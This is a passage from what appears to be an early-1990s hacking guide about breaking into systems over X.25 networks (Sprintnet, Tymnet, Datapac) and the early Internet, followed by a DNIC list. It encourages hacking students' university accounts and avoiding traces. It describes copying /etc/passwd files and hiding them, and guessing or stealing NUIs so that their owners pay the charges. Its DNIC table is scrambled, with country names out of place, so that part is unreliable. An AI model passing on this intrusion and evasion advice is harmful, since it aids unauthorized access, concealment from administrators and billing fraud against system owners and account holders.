zone changes.
WHERE TO START
==============
-------------Probably the hardest period in hacking is that of when you are first
starting. Finding and penetrating your first system is a major step, and can
be approached in many ways. The common ways to find a system to hack are;
- UNIVERSITIES
: Universities commonly have hundreds of users, many of
which aren't too computer literate, which makes
hacking a relatively simple chore. And security is
often poor, so if you don't abuse the system too much
your stay could be a long one.
On the other hand, for a nominal fee you can usually
pick up a cheap *legitimate* (now there's a concept)
account. Or you could enroll in the university for
a few credits, and just go until the accounts are
handed out. Unfortunely, if you are caught hacking
off your own account it won't be hard to trace it
back to you. If you get a legimate account at first,
you might be best to hack a student's account for your
other-system hacking.
The other fun part about universities is often they
will provide access to a number of nets, usually
including the Internet.
Occasionally you'll have access to a PSN as well.
- CARRIER SCANNING: Carrier scanning in your LATA(Local Access Transport
Area), commonly known as wardialing, was popularized
in the movie War Games.
Unfortunely, there are a few problems inherent in
finding systems this way; you are limited to the
systems in your area, so if you have a small town you
may find very little of interest, and secondly,
ANI is a problem within your own LATA, and tracing is
simple, making security risks high. If you are going
to hack a system within your own lata, bounce it at
least once.
There are many programs, such as ToneLoc and CodeThief
(ToneLoc being superior to all in my humble opinion),
which will automate this process.
- PACKET-SWITCHED : This is my favorite by far, as hacking on PSNs is how
NETWORKS
I learned nearly all I know. I've explored PSNs
world-wide, and never ran out of systems to hack.
No matter what PSN you try you will find many
different, hackable systems. I will go more indepth
on PSNs in the next section.
PACKET-SWITCHED NETWORKS
========================
-----------------------Intro to PSNs
=============
First off, PSNs are also known as PSDNs, PSDCNs, PSSs and VANs to name
a few. Look up the acronyms in the handy acronym reference chart<g>.
The X.25 PSNs you will hear about the most are; Sprintnet(formerly
Telenet), BT Tymnet(the largest), and Datapac(Canada's largest).
All these networks have advantages and disadvantages, but i'll say this;
if you are in the United States, start with Sprintnet. If you are in Canada,
Datapac is for you.
The reason PSNs are so popular for hackers are many. There are literally
thousands of systems on PSNs all around the world, all of which(if you have
the right facilities) are free of charge for you to reach. And because of the
immense size of public PSNs, it is a rare thing to ever get caught for
scanning. Tracing is also a complicated matter, especially with a small
amount of effort on your part to avoid a trace.
How packet-switching works
==========================
The following explanation applies for the most part to all forms of
packet-switching, but is specifically about PSNs operating on the X series of
protocols, such as Datapac & SprintNet, as opposed to the Internet which
operates on TCP/IP. It is the same principle in essense, however.
Packet-Switched Networks are kinda complicated, but I'll attempt to
simplify the technology enough to make it easy to understand.
You, the user, connect to the local public access port for your PSN,
reachable via a phone dialup. You match communications parameters with the
network host and you are ready to go.
From there, all the data you send across the network is first bundled into
packets, usually of 128 or 256 bytes. These packets are assembled using
Packet Assembly/Disassembly, performed by the public access port, also known
as a public PAD(Packet Assembler/Disassembler), or a DCE(Data Communicating
Equipment or Data Circuit-Terminating Equipment).
The packets are sent along the network to their destination by means of
the various X protocols, standardly X.25 with help from X.28, X.29 & X.3
within your home network, and internationally using X.75/X.121. The X protocol
series are the accepted CCITT standards.
The host system(DTE: Data Terminal Equipment, also a PAD) which you are
calling then receives the packet and disassembles the packet using Packet
Assembly/Disassembly once again into data the system understands.
The DTE then assembles it's data in response to your packet, and sends it
back over the network to your PAD in packet form, which disassembles the
packet into readable data for you, the user.
And that is the simplified version!
The Internet
============
Introduction
-----------Contrary to popular belief, the Internet is a packet-switched network;
just not an X.25 packet-switched network. The Internet operates on the TCP/IP
protocols(as a rule), which is why it is sometimes disregarded as a
packet-switched network. In fact, the Internet's predecessor, the ARPAnet,
was the first large-scale experiment in packet-switching technology. What was
then Telenet came later.
The confusion comes from peoples ignorance of the principles of
packet-switching, which is simply a type of network, explained in technical
detail earlier. It doesn't matter what protocols the network may use, if
packet-switching is in use it is obviously a packet-switched network.
Ok, now you may have noticed that the Internet has a rather small section,
which is true. The reasons are many. This is a hacking guide, not an Internet
tutorial, so I didn't include the IRC or Archie or whatever. And the main
reason is I spent about 100% more time on X.25 nets than I did the Internet.
Nonetheless, I decided to include the essential aspects of the Internet.
You should be able to take it from there.
The following section is derived mostly from personal experience, but
the Gatsby's Internet file helped out somewhat, specifically in the classes
of IP addresses.
Getting Access
--------------
Getting access is somewhere between easy and very difficult, depending
where you live and how good(or lucky!) a hacker you are.
First of all, if you are going to hack on the Internet then you must be
on a system that has full Internet access, not just mail. That cuts Compuserve
and Prodigy out of the picture.
Most universities and some high schools have Internet access, see what
you can do to get yourself an account, legitimatly or not.
Some BBSes offer full Internet access for a fairly reasonable price, and
that would be a good choice.
If you are in an area with a FreeNet, then you get full Internet access..
for free! Check around with local hackers or PD boards to inquire where the
nearest FreeNet is.
Some businesses provide Internet access, for a price. Check with local
netters to see what local options there are.
And lastly, you can try and hack your way on. When you hack a system,
check and see if they are on the net. Usually this is accomplished by doing
a test call using telnet.. explained later.
FTP
--FTP is the acronym for File Transfer Protocol, and it is the primary means
of transporting remote files onto your own system(actually, usually the
system which you are calling the Internet through).
I will only provide a brief overview, as FTP is fairly easy to use, has
help files online and comprehensive documentation offline at your local h/p
BBS.
First off, FTP can be initialized by typing 'ftp' at any system which
has it. Most do, even if they don't have the Internet online. That a
frustrating lesson more than a few novices has learned.. if you hack into a
system that has FTP or telnet on line, it does not necessarily(and usually
doesn't) have Internet access. Some SunOS's will have two sets of ftp and
telnet utilities. The standard ftp and telnet commands can be used for local
network connects, but not Internet. Another set of commands, itelnet, iftp
and ifinger (and occasionally iwhois) is used for the Internet.
When you enter the FTP utility, you'll usually find yourself at a 'ftp>'
prompt, and typing 'help' should bring up a small set of help files. The
commands available, along with the help files, vary from system to system.
Procedure is then defined by what type of system you are on, as again,
it varies. But what you usually do next is open a connection to the system you
want to get a file off of. Type 'open' followed by the host name or IP
address of the system you wish to connect to.. explained later.
Next, you will usually find yourself at a sort of login prompt. If you
have a username on that system, then type it in. If not, try 'anonymous'.
Anonymous is a great little guest account that is now being built in to some
OS's. Conscientious sysadmins may disable it, for obvious reasons. If however,
it is not, you will be asked for a password. Type anything, it doesn't matter
really. Type a few d's if you want, it really doesn't matter(as a rule don't
sit on your keyboard though.. it may not like it.. type something boring).
Next you simply use the 'get' command to get the file you want. Usually
it is a good idea to not put the files in a directory that they will be
noticed.. the sysadmin will suspect something is up if he runs into a few
files that he supposedly copied into his own directory. Which brings us to
the next segment.. give your files benign names, especially if they are
something like /etc/passwd files or issues of Phrack.
A note about FTPing /etc/passwds. It rarely works. Oh yes, you will get
an /etc/passwd file, but rarely on the Internet will it be the real
/etc/passwd. Check the size of the file first.. if it is 300 bytes or less,
then it will likely be a substitute. Telnet will, however, get the real
/etc/passwd on most occasions.
Now quit the FTP utility and peruse your new files.. be sure to remove
them when done.
Telnet
-----While FTP has no real parallel in X.25 networks, you could equate telnet
to a private PAD. Telnet lets you connect to and operate on Internet systems
over the Internet as if you were connected locally.
Telnet is initialized by typing 'telnet' at your shell. The operative
command is, again, 'open'. Again, type 'open' followed by the domain name
or the IP address. When connected, you will be at a login prompt of some
kind(usually..). Enter a username if you have one, and if not you can either
attempt to hack one or see if the system accepts the 'anonymous' guest user,
explained in the FTP section.
If all goes well, you should have a remote connection of some kind, and
what follows depends on the system you are connected to, just like in any
other network.
Domain Names and IP Addresses - Intro
------------------------------------For those of you unfamiliar with those terms I will give a small,
condensed explanation of what the two are.
One or the other is needed for connecting to a remote system, either by
FTP or Telnet. The IP address could be equated to the X.25 net's Network User
Address. The Domain name is a mnemonic name, used for convience more than
anything, as it is generally easier to remember.
If you wish to scan for systems on the Internet it is usually much easier
to scan by IP address, as you won't know the mnemonic for most systems.
IP addresses are 4 digit-combinations separated by dots. Address examples
are 192.88.144.3(EFF) and 18.72.2.1(MIT).
Addresses fall into three classes;
Class A
- 0 to 127
Class B
- 128 to 191
Class C
- 192 to 223
The earliest Internet systems are all in Class A, but it is more common
to find class B or C systems. Moreover, a lot of systems are placed
specifically in the 128 or 192 address prefix, as opposed to 184 or 201 or
whatever. Scanning an IP address set can be accomplished in many fashions.
One of which would be to pick a prefix, add two random one to two digit
numbers, and scan the last portion. ie: take 192.15.43 and scan the last
digit from 0 to 255.
Unfortunely, the last portion (or last two portions in the case of Class
C) are ports, meaning you may come up completely blank or you might hit the
jack pot.
Experiment to your own liking, after a while you will fall into a
comfortable groove.
You can also connect to specific systems using the domain name, if you
know or can guess the domain name. To guess a domain name you will need to
know the company or organization's name, and the type of organization it is.
This is possible because host names must follow the Domain Name System, which
makes guessing a lot easier. Once you have both, you can usually take a few
educated guesses at the domain name. Some are easier than others.
First of all, you will need to understand the principle of top-level
domains. The top level is at the end of a domain name; in the case of eff.org,
the top-level is 'org'. In the case of mit.edu, the top-level is 'edu'.
Top levels fall into a few categories;
com - commercial institutions
org - non-profit organizations
edu - educational facilities
net - networks
gov - government systems (non military)
mil - non-classified military
Along with various country codes. The country codes are two letters used
for international calls; the US's is 'US', Brazil's is 'BR'.
Determine which top-level the system falls under, and then make a few
guesses. Examples are;
compuserve.com
xerox.com
mit.edu
eff.org
For further reading, I suggest picking up a few of the printed Internet
guides currently on the market, as well as the Gatsby's file on the Internet,
printed in Phrack 33.
X.25 Networks
=============
From here on in the PSN section of this file is dedicated to X.25
networks. I use the acronym PSN interchangably with X.25 networks, so don't
get PSN confused with all the other types of PSN networks. From here on in,
it is all X.25.
Network User Addresses
---------------------NUAs(Network User Addresses) are the PSNs equivalent of a phone number.
They are what you need to connect to systems on PSNs around the world, and
thanks to the DNIC(Data Network Identifier Code), there are no two the same.
The format for entering NUAs is different from PSN to PSN. For example,
on Datapac you must include 0's, but on Sprintnet 0's are not necessary.
Tymnet uses 6 digits NUAs rather than the standard 8.
But the standard NUA format is this;
PDDDDXXXXXXXXSS,MMMMMMMMMM
Where; P is the pre-DNIC digit
D is the DNIC
X is the NUA
S is the LCN(Logical Channel Number, subaddressing)
M is the Mnemonic
Various segments may be omitted depending on your PSN and where you are
calling.
The P is commonly a 0, but is a 1 on Datapac. It is not usually even counted
as part of the NUA, but must be included(usage varying) when making calls
to another PSN other than your own. Within your own PSN it is not necessary
to include the pre DNIC digit.
The D is the DNIC also known as the DCC(Data Country Code). The DNIC is the
4 digit country code, which insures that each NUA worldwide is unique. The
DNIC is only used in calling international NUAs. If you are in Datapac(DNIC
3020) you do not have to include the DNIC for Datapac when making calls to
NUAs within Datapac, but if you are in another PSN you must include the DNIC
for calls to Datapac.
The X symbolizes the actual NUA, which along with the optional S
(subaddressing) must always be included. You can simplify the NUA even greater
using this format;
PPPXXXXX
Where P is the prefix of the NUA, and the X's are the suffix. The prefix
corresponds to an Area Code in most cases in that the NUAs within that prefix
are in a certain part of the country the PSN serves. In the case of Sprintnet,
the prefix corresponds directly with the Area Code(ie: all NUAs in the 914
prefix on Sprintnet are in New York, and all phone numbers in the 914 Area
Code are in New York).
Subaddressing, S on the diagram, is a somewhat complicated thing to explain.
Subaddressing is used when desired by the owner of the DTE, and is used to
connect to specified system on the same NUA. You may find more than one system
on the same NUA, and these can be reached using subaddresses.
ie:
NUA
SYSTEM
PPPXXXXXSS
==========
===================
Ex.1 12300456
Unix
Ex.2 123004561
VMS
Ex.3 1230045699
HP3000
In this example, the normal NUA is 12300456(assuming DNIC and pre-DNIC digit
are not used). This NUA takes you to a Unix system. But when the LCN(Logical
Channel Number, subaddress) of 1 is used, you are taken to a VMS. And the
subaddress of 99 takes you to a HP3000. The systems on 12300456 are all owned
by the same person/company, who wished to have one NUA only, but by using
subaddresses he can give access to multiple systems on a lone NUA.
Subaddresses are also used occasionally as extra security. If you hit a system
that gives you an error message such as 'REMOTE PROCEDURE ERROR' or 'REMOTE
DIRECTIVE', you will either need a subaddress or a mnemonic. You may choose to
go through the entire possible subaddresses, 1 to 99, or if you are just
scanning i would suggest these: 1,2,50,51,91,98,99
Mnemonics, M, are another tricky one to explain. They are not documented by
the PSNs, I discovered them on my own. Mnemonics are also used to select
systems on a single NUA as a kind of port selector, but they are more commonly
used as a kind of external password, which prevents you from even seeing the
system in question.
The same error messages as in LCNs occur for mnemonics, but again, even if you
can reach a system with a standard NUA, there is a possibly a system only
reachable by mnemonic exists. Here is a list of commonly used mnemonics;
SYSTEM CONSOLE PAD DIAL MODEM X25 X28 X29 SYS HOST
Bypassing Reverse Charging Systems: Private PADs and NUIs
--------------------------------------------------------Occasionally on PSNs you will run into systems which give you the
error message 'COLLECT CALL REFUSED'. This denotes a reverse-charging system.
When you make a call to a system on a PSN, the call is automatically collect.
But a lot of sysadmins do not want to pay for your connect charges, and if all
of their users have NUIs or private PADs, it is a good idea for them to make
their system reverse-charging, which saves them money, but also acts as yet
another security barrier from casual snoopers.
But again, this can be avoided by using a private PAD or a NUI.
Before we go into the details of these, remember that a private PAD is a
different thing than your public access port PAD. A private PAD is a PAD which
automatically assumes all connect charges. So, the reverse charging systems
will let you past the reverse charging, as you agree to accept the charges.
NUI's(Network User Identifiers) work the same way. You can think of a NUI
as .. say a Calling Card. The Calling Card is billed for all the charges made
on it, regardless of who made them; the owner gets the bill. The NUI works the
same way. NUIs are used legitimatly by users willing to accept the connect
charges. But, as hackers are known to do, these NUIs get stolen and used to
call all NUAs all around the world, and the legitimate owner gets the bill.
But unlike CCs, you will usually get away with using a NUI.
However, as you can guess, private PADs and NUIs are fairly hard to come
by. If somebody manages to get ahold of one, they usually won't be willing to
share it. So, it comes down to you; you probably will have to find your own.
PADs are only found by scanning on PSNs, and by hacking onto systems on
PSNs. There are programs on Unix and Primos systems,for example, that serve as
a private PAD. And there are some private PADs that are set up solely for the
purpose of being a private PAD. But, these are almost always passworded, so it
is up to you to get in.
NUIs are somewhat the same thing. NUIs are different from PSN to PSN, some
will tell you if a NUI is wrong, letting you guess one, but others will not.
And of course, you still have to guess the password. I've heard stories of
people carding NUIs, but i'm not sure i quite believe it, and the safety of
such a practice is questionable.
Closed User Groups
-----------------One of the most effective security measures i've ever seen is the CUG
(Closed User Group). The CUG is what generates the 'CALL BLOCKED' message when
scanning on PSNs. A CUG will only accept calls into the DTE from specified
DCE NUAs. Meaning, if your NUA has not been entered into the list of
acceptable NUAs, you won't be allowed to even see the system. However, CUGs
aren't for everybody. If you have a system with many users that all call in
from different points, CUGs are unusable. And a good thing for us. I've never
heard of anyone finding a way past a CUG. I've got a few theories but..
Sprintnet
--------Now i'll go a bit more into the major US and Canadian PSNs, starting with
the most popular in the States, Sprintnet
To find a public indial port for Sprintnet you may possibly be able to
find it in your telefone book(look under Sprintnet) or by Directory Assistance.
If not, try Sprintnet Customer Service at 1-800-336-0437. This also will
probably only function between 8:30 and 5:00 EST, maybe a bit different.
Also, for a data number for in-dial look ups try 1-800-424-9494 at
communication parameters 7/E/1(or 8/N/1 also i believe). Type <CR> twice
or @D for 2400bps and press enter so Sprintnet can match your communications
parameters. It will display a short herald then a TERMINAL= prompt.
At the TERMINAL= prompt type VT100 for VT100 terminal emulation, if you are
using a personal computer i think D1 works, or just <CR> for dumb terminal.
Then type "c mail", at the username prompt type "phones", and for password
type "phones" again. It is menu driven from there on.
Now that you have your Sprintnet public dial port number, call it up like
you would a BBS, then when it connnects type the two <CR>s for 300/1200bps
or the @D for 2400bps, then it will display its herald, something like:
SPRINTNET(or in some cases TELENET)
123 11A (where 123 is your area code & Sprintnet's address prefix
and 11A is the port you are using)
TERMINAL=(type what you did previously eg:VT100,D1,<ENTER>)
then when Sprintnet displays the @ prompt you know you are connected to
a Sprintnet public PAD and you are ready to enter NUAs.
As i mentioned before, Sprintnet NUA prefixes correspond directly with
Area Codes, so to scan Sprintnet simply take an AC and suffix it with the
remaining digits, usually in sequence. Since Sprintnet ignores 0's, NUAs
can be as small as 4 digits. When scanning, go from lowest to highest,
stopping as soon as it seems NUAs have run dry(take it a hundred NUAs further
to be sure..best to take it right to 2000, maybe higher if you have time).
BT Tymnet
--------BT Tymnet is owned by British Telecom, and is the biggest PSN by far, but
it does have some extra security.
For finding Tymnet dial-ins the procedure is much the same, look in the
phone book under Tymnet or BT Tymnet, or phone directory assistance and ask
for BT Tymnet Public Dial Port numbers, or you can call Tymnet customer
Service at 1-800-336-0149. Generally try between 8:30 and 5:00 EST. I don't
have the Tymnet data number for finding in-dials, but once you are on Tymnet
type INFORMATION for a complete list of in-dials as well as other things.
Once you have your in-dial number set your communication parameters at
either 8/N/1 or 7/E/1 then dial the number just like you would a BBS. At
connect you will see a string of garbage characters or nothing at all.
Press <CR> so Tymnet can match your communication parameters. You will then
see the Tymnet herald which will look something like this:
-2373-001please type your terminal identifier
If it wants a terminal identifier press A(if you want, you can press A
instead of <CR> at connect so it can match your communication parameters and
get your terminal identifer all at once).
After this initial part you will see the prompt:
please log in:
This shows Tymnet is ready for you to enter NUAs. A great deal of the NUAs on
Tymnet are in plain mnemonic format however. To reach these, just enter the
mnemonic you wish, nothing else(ie: CPU or SYSTEM). To enter digital NUAs you
need a NUI though. Tymnet will let you know when a NUI is wrong. Just keep
guessing NUIs and passwords until you find one. BUT, keep in mind, one of the
biggest security features Tymnet has is this: it will kick you off after three
incorrect attempts at anything. Thus, you'll have to call again and again, and
if you are in a digital switching system such as ESS it is not a good idea to
call anywhere an excessive amount of time. So keep it in moderation if you
choose to try Tymnet.
Datapac
------I am the most fond of Datapac, because I grew up on it. Nearly all the
hacking i've done to this day was on Datapac or the international PSNs i've
been able to reach through private PADs i've found on Datapac.
To connect to the Datapac network from Canada you will need to dial into
your local Datapac node, which is accessible in most cities via your local
Datapac dial-in number.
There are quite a few ways to find your local Datapac dial-in. It will
usually be in your telephone book under "DATAPAC PUBLIC DIAL PORT". If
not, you could try directory assistance for the same name. Alternatively,
there are a couple phone #'s for finding your dial port(these are also
customer assistance):
1-800-267-6574 (Within Canada)
1-613-781-6798
Also, these numbers function only from 8:30 to 5:00 EST(Eastern Standard
Time).Also, the Datapac Information Service(DIS) at NUA 92100086 has a
complete list of all public dial-ins.
I think you can use both communication parameter settings work, but 8/N/1
(8 data bits, No parity, 1 stop bit) is used most frequently, so set it
initially at that. Some NUA's on Datapac use 7/E/1, change to it if needed
after you are connected to a Datapac dial-in.
Ok,if you have your Datapac 3000 Public Indial number, you've set your
communication parameters at 8/N/1, then you are now set to go. Dial your
indial just like a BBS(duh..) and once connnected:
You will have a blank screen;
Type 3 periods and press RETURN (this is to tell Dpac to initialize itself)
The Datapac herald will flash up stating:
DATAPAC : XXXX XXXX (your in-dial's NUA)
You are now ready to enter commands to Datapac.
Example:
(YOU ENTER)
atdt 16046627732
(YOU ENTER)
...
(DATAPAC RESPONDS)
DATAPAC : 6710 1071
Now you are all set to enter the NUA for your destination.
NUAs on Datapac must be 8 to 10 digits(not including mnemonics).
8 is standard, but 9 or 10 is possible depending on usage of subaddressing.
NUA prefixes on Datapac are handed out in blocks, meaning they do not
correspond to Area Codes, but by looking at the surrounding prefixes, you can
tell where a prefix is located. When scanning on Datapac, keep in mind most of
the valid NUAs are found in the low numbers, so to sample a prefix go from
(example) 12300001 to 12300200. It is a good idea, however, to scan the prefix
right up until 2000, the choice is yours.
DNIC List
--------Here is a list of the previous PSN's DNICs, and most of the other DNICs
for PSNs world wide. This was taken from the DIS, with a number of my own
additions that were omitted(the DIS did not include other Canadian or
American PSNs). The extras DNICs came from my own experience and various
BBS lists.
COUNTRY
NETWORK
DNIC
DIRECTION
-------
-------
----
---------
ANDORRA
ANDORPAC
2945
BI-DIR
ANTIGUA
AGANET
3443
INCOMING
ARGENTINA
ARPAC
7220
BI-DIR
ARPAC
7222
BI-DIR
DATEX-P
2322
BI-DIR
DATEX-P TTX
2323
BI-DIR
RA
2329
BI-DIR
AUSTPAC
5052
BI-DIR
OTC DATA ACCESS 5053
BI-DIR
AZORES
TELEPAC
2680
BI-DIR
BAHAMAS
BATELCO
3640
BI-DIR
BAHRAIN
BAHNET
4263
BI-DIR
BARBADOS
IDAS
3423
BI-DIR
BELGIUM
DCS
2062
BI-DIR
DCS
2068
BI-DIR
DCS
2069
BI-DIR
BELIZE
BTLDATAPAC
7020
BI-DIR
BERMUDA
BERMUDANET
3503
BI-DIR
BRAZIL
INTERDATA
7240
BI-DIR
RENPAC
7241
BI-DIR
RENPAC
7248
INCOMING
RENPAC
7249
INCOMING
BULGARIA
BULPAC
2841
BI-DIR
BURKINA FASO
BURKIPAC
6132
BI-DIR
CAMEROON
CAMPAC
6242
BI-DIR
CANADA
DATAPAC
3020
BI-DIR
GLOBEDAT
3025
BI-DIR
CNCP PACKET NET 3028
BI-DIR
CNCP INFO SWITCH 3029
BI-DIR
CAYMAN ISLANDS
IDAS
3463
BI-DIR
CHAD
CHADPAC
6222
BI-DIR
CHILE
ENTEL
7302
BI-DIR
CHILE-PAC
7303
INCOMING
AUSTRIA
AUSTRALIA
VTRNET
7305
BI-DIR
ENTEL
7300
INCOMING
CHINA
PTELCOM
4600
BI-DIR
COLOMBIA
COLDAPAQ
7322
BI-DIR
COSTA RICA
RACSAPAC
7120
BI-DIR
RACSAPAC
7122
BI-DIR
RACSAPAC
7128
BI-DIR
RACSAPAC
7129
BI-DIR
CUBA
CUBA
2329
BI-DIR
CURACAO
DATANET-1
3621
BI-DIR
CYPRUS
CYTAPAC
2802
BI-DIR
CYTAPAC
2807
BI-DIR
CYTAPAC
2808
BI-DIR
CYTAPAC
2809
BI-DIR
DATAPAK
2382
BI-DIR
DATAPAK
2383
BI-DIR
DJIBOUTI
STIPAC
6382
BI-DIR
DOMINICAN REP.
UDTS-I
3701
INCOMING
EGYPT
ARENTO
6020
BI-DIR
ESTONIA
ESTPAC
2506
BI-DIR
FIJI
FIJIPAC
5420
BI-DIR
FINLAND
DATAPAK
2441
BI-DIR
DATAPAK
2442
BI-DIR
DIGIPAK
2443
BI-DIR
TRANSPAC
2080
BI-DIR
NTI
2081
BI-DIR
TRANSPAC
2089
BI-DIR
TRANSPAC
9330
INCOMING
TRANSPAC
9331
INCOMING
TRANSPAC
9332
INCOMING
TRANSPAC
9333
INCOMING
TRANSPAC
9334
INCOMING
TRANSPAC
9335
INCOMING
TRANSPAC
9336
INCOMING
TRANSPAC
9337
INCOMING
TRANSPAC
9338
INCOMING
DENMARK
FRANCE
TRANSPAC
9339
INCOMING
FR ANTILLIES
TRANSPAC
2080
BI-DIR
FR GUIANA
TRANSPAC
2080
BI-DIR
FR POLYNESIA
TOMPAC
5470
BI-DIR
GABON
GABONPAC
6282
BI-DIR
GERMANY F.R.
DATEX-P
2624
BI-DIR
DATEX-C
2627
BI-DIR
HELPAK
2022
BI-DIR
HELLASPAC
2023
BI-DIR
GREENLAND
KANUPAX
2901
BI-DIR
GUAM
LSDS-RCA
5350
BI-DIR
PACNET
5351
BI-DIR
GUATEL
7040
INCOMING
GUATEL
7043
INCOMING
HONDUTEL
7080
INCOMING
HONDUTEL
7082
BI-DIR
HONDUTEL
7089
BI-DIR
INTELPAK
4542
BI-DIR
DATAPAK
4545
BI-DIR
INET HK
4546
BI-DIR
DATEX-P
2160
BI-DIR
DATEX-P
2161
BI-DIR
ICELAND
ICEPAK
2740
BI-DIR
INDIA
GPSS
4042
BI-DIR
RABMN
4041
BI-DIR
I-NET
4043
BI-DIR
INDONESIA
SKDP
5101
BI-DIR
IRELAND
EIRPAC
2721
BI-DIR
EIRPAC
2724
BI-DIR
ISRAEL
ISRANET
4251
BI-DIR
ITALY
DARDO
2222
BI-DIR
ITAPAC
2227
BI-DIR
IVORY COAST
SYTRANPAC
6122
BI-DIR
JAMAICA
JAMINTEL
3380
INCOMING
JAPAN
GLOBALNET
4400
BI-DIR
DDX
4401
BI-DIR
GREECE
GUATEMALA
HONDURAS
HONG KONG
HUNGARY
NIS-NET
4406
BI-DIR
VENUS-P
4408
BI-DIR
VENUS-P
9955
INCOMIMG
VENUS-C
4409
BI-DIR
NI+CI
4410
BI-DIR
KENYA
KENPAC
6390
BI-DIR
KOREA REP
HINET-P
4500
BI-DIR
DACOM-NET
4501
BI-DIR
DNS
4503
BI-DIR
KUWAIT
BAHNET
4263
BI-DIR
LEBANON
SODETEL
4155
BI-DIR
LIECHTENSTEIN
TELEPAC
2284
BI-DIR
TELEPAC
2289
BI-DIR
LUXPAC
2704
BI-DIR
LUXPAC
2709
BI-DIR
MACAU
MACAUPAC
4550
BI-DIR
MADAGASCAR
INFOPAC
6460
BI-DIR
MADEIRA
TELEPAC
2680
BI-DIR
MALAYSIA
MAYPAC
5021
BI-DIR
MAURITIUS
MAURIDATA
6170
BI-DIR
MEXICO
TELEPAC
3340
BI-DIR
MOROCCO
MOROCCO
6040
BI-DIR
MOZAMBIQUE
COMPAC
6435
BI-DIR
NETHERLANDS
DATANET-1
2040
BI-DIR
DATANET-1
2041
BI-DIR
DABAS
2044
BI-DIR
DATANET-1
2049
BI-DIR
N. MARIANAS
PACNET
5351
BI-DIR
NEW CALEDONIA
TOMPAC
5460
BI-DIR
NEW ZEALAND
PACNET
5301
BI-DIR
NIGER
NIGERPAC
6142
BI-DIR
NORWAY
DATAPAC TTX
2421
BI-DIR
DATAPAK
2422
BI-DIR
DATAPAC
2423
BI-DIR
PAKISTAN
PSDS
4100
BI-DIR
PANAMA
INTELPAQ
7141
BI-DIR
LUXEMBOURG
INTELPAQ
7142
BI-DIR
PAPUA-NEW GUINEA
PANGPAC
5053
BI-DIR
PARAGUAY
ANTELPAC
7447
BI-DIR
PERU
DICOTEL
7160
BI-DIR
PHILIPPINES
CAPWIRE
5150
INCOMING
CAPWIRE
5151
BI-DIR
PGC
5152
BI-DIR
GLOBENET
5154
BI-DIR
ETPI
5156
BI-DIR
POLAND
POLAK
2601
BI-DIR
PORTUGAL
TELEPAC
2680
BI-DIR
SABD
2682
BI-DIR
UDTS
3300
BI-DIR
UDTS
3301
BI-DIR
QATAR
DOHPAC
4271
BI-DIR
REUNION (FR)
TRANSPAC
2080
BI-DIR
RWANDA
RWANDA
6352
BI-DIR
SAN MARINO
X-NET
2922
BI-DIR
SAUDI ARABIA
ALWASEED
4201
BI-DIR
SENEGAL
SENPAC
6081
BI-DIR
SEYCHELLES
INFOLINK
6331
BI-DIR
SINGAPORE
TELEPAC
5252
BI-DIR
TELEPAC
5258
BI-DIR
SOLOMON ISLANDS
DATANET
5400
BI-DIR
SOUTH AFRICA
SAPONET
6550
BI-DIR
SAPONET
6551
BI-DIR
SAPONET
6559
BI-DIR
TIDA
2141
BI-DIR
IBERPAC
2145
BI-DIR
SRI-LANKA
DATANET
4132
BI-DIR
SWEDEN
DATAPAK TTX
2401
BI-DIR
DATAPAK-2
2403
BI-DIR
DATAPAK-2
2407
BI-DIR
TELEPAC
2284
BI-DIR
TELEPAC
2285
BI-DIR
TELEPAC
2289
BI-DIR
PUERTO RICO
SPAIN
SWITZERLAND
TAIWAN
PACNET
4872
BI-DIR
PACNET
4873
BI-DIR
UDAS
4877
BI-DIR
TCHECOSLOVAKA
DATEX-P
2301
BI-DIR
THAILAND
THAIPAC
5200
BI-DIR
IDAR
5201
BI-DIR
TONGA
DATAPAK
5390
BI-DIR
TOGOLESE REP.
TOGOPAC
6152
BI-DIR
TORTOLA
IDAS
3483
INCOMING
TRINIDAD
DATANETT
3745
BI-DIR
TEXTET
3740
BI-DIR
TUNISIA
RED25
6050
BI-DIR
TURKEY
TURPAC
2862
BI-DIR
TURPAC
2863
BI-DIR
TURKS&CAICOS
IDAS
3763
INCOMING
U ARAB EMIRATES
EMDAN
4241
BI-DIR
EMDAN
4243
BI-DIR
TEDAS
4310
INCOMING
URUPAC
7482
BI-DIR
URUPAC
7489
BI-DIR
USSR
IASNET
2502
BI-DIR
U.S.A.
WESTERN UNION
3101
BI-DIR
MCI
3102
BI-DIR
ITT/UDTS
3103
BI-DIR
WUI
3104
BI-DIR
BT-TYMNET
3106
BI-DIR
SPRINTNET
3110
BI-DIR
RCA
3113
BI-DIR
WESTERN UNION
3114
BI-DIR
DATAPAK
3119
BI-DIR
PSTS
3124
BI-DIR
UNINET
3125
BI-DIR
ADP AUTONET
3126
BI-DIR
COMPUSERVE
3132
BI-DIR
AT&T ACCUNET
3134
BI-DIR
FEDEX
3138
BI-DIR
URUGUAY
NET EXPRESS
3139
BI-DIR
SNET
3140
BI-DIR
BELL SOUTH
3142
BI-DIR
BELL SOUTH
3143
BI-DIR
NYNEX
3144
BI-DIR
PACIFIC BELL
3145
BI-DIR
SWEST BELL
3146
BI-DIR
U.S. WEST
3147
BI-DIR
CENTEL
3148
BI-DIR
FEDEX
3150
BI-DIR
U.S. VIRGIN I
UDTS
3320
BI-DIR
U. KINGDOM
IPSS-BTI
2341
BI-DIR
PSS-BT
2342
BI-DIR
GNS-BT
2343
BI-DIR
MERCURY
2350
BI-DIR
MERCURY
2351
BI-DIR
HULL
2352
BI-DIR
VANUATU
VIAPAC
5410
BI-DIR
VENEZUELA
VENEXPAQ
7342
BI-DIR
YUGOSLAVIA
YUGOPAC
2201
BI-DIR
ZIMBABWE
ZIMNET
6484
BI-DIR
SYSTEM PENETRATION
==================
-----------------Ok, now that you've hopefully found some systems, you are going to need to
know how to identify and, with any luck, get in these newfound delights.
What follows is a list of as many common systems as i could find. The
accounts listed along with it are not, per say, 'defaults'. There are very
few actual defaults. These are 'common accounts', in that it is likely that
many of these will be present. So, try them all, you might get lucky.
The list of common accounts will never be complete, but mine is fairly
close. I've hacked into an incredible amount of systems, and because of this
I've been able to gather a fairly extensive list of common accounts.
Where I left the password space blank, just try the username(and anything
else you want), as there are no common passwords other than the username
itself.
And also, in the password space I never included the username as a
password, as it is a given in every case that you will try it.
And remember, passwords given are just guidelines, try what you want.
UNIX-
Unix is one of the most widespread Operating Systems in the
world; if you scan a PSN, chances are you'll find a number of
Unixes, doesn't matter where in the world the PSN resides.
The default login prompt for a unix system is 'login', and
while that cannot be changed, additional characters might
be added to preface 'login', such as 'rsflogin:'. Hit <CR> a
few times and it should disappear.
Because UNIX is a non-proprietary software, there are many
variants of it, such as Xenix, SCO, SunOS, BSD, etc.., but
the OS stays pretty much the same.
